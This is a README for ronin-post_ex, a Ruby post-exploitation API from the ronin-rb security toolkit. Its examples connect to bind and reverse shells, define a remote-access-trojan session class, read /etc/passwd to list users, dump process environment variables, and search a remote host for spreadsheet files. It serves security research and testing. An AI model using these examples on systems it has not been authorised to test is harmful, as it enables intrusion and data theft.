ronin-post_ex is a Ruby API for Post-Exploitation.

This library is used by ronin-payloads, ronin-c2, and ronin-exploits to provide a Post-Exploitation API around payloads, C2 sessions, or even exploits.

ronin-post_ex is part of the ronin-rb project, a Ruby toolkit for security research and development.

• Defines a syscall-like API for Post-Exploitation.
• Provides classes for interacting with the Post-Exploitation API.
  • {Ronin::PostEx::System} - allows interacting with a remote system.
  • {Ronin::PostEx::System::FS} - allows interacting with the file-system.
  • {Ronin::PostEx::System::Process} - allows manipulating the current process or child processes.
  • {Ronin::PostEx::System::Shell} - allows interacting with an interactive shell..
  • {Ronin::PostEx::RemoteFile} - allows reading/writing files.
  • {Ronin::PostEx::RemoteDir} - allows reading the contents of directories.
  • {Ronin::PostEx::RemoteProcess} - allows reading/writing to an running command.
• Supports interacting with interactive shell commands.
• Provides interactive command shells for interacting with systems.
• Supports Linux/BSD/UNIX systems.
• Provides common post-exploitation session classes for interacting with shells, bind shells, and reverse shells.
• Supports defining custom post-exploitation session classes.

• Does not currently support Windows systems.
• Does not fully support bidirectional fully interactive shell commands.

session = Ronin::PostEx::Sessions::BindShell.connect(host,port)
system  = session.system

system.shell.ls('/')
# => "..."

session = Ronin::PostEx::Sessions::ReverseShell.listen(host,port)
system  = session.system

system.shell.ls('/')
# => "..."

Define a custom session class which defines the Post-Exploitation API methods:

class RATSession < Ronin::PostEx::Sessions::Session

  def initialize(host,port)
    # ...
  end

  def rpc_call(method,*arguments)
    # ...
  end

  def fs_read(path)
    rpc_call("fs_read",path)
  end

  def shell_exec(command)
    rpc_call("shell_exec",command)
  end

  # ...

end

session = RATSession.new
system  = session.system

Interact with the system's remote files as if they were local files:

file = system.fs.open('/etc/passwd')

file.each_line do |line|
  user, x, uid, gid, name, home_dir, shell = line.split(':')

  puts "User Detected: #{user} (id=#{uid})"
end

Get information about the current process:

system.process.pid
# => 1234

system.process.getuid
# => 1001

system.process.environ
# => {"HOME"=>"...", "PATH"=>"...", ...}

Execute commands on the remote system:

system.shell.ls('/')
# => "bin\nboot\ndev\netc\nhome\nlib\nlib64\nlost+found\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsnap\nsrv\nsys\ntmp\nusr\nvar\n"

system.shell.exec("find -type f -name '*.xls' /srv") do |path|
  puts "Found XLS file: #{path}"
end

Spawn an interactive command shell:

system.shell.interact
$

Spawn an interactive post-exploitation system shell:

system.interact
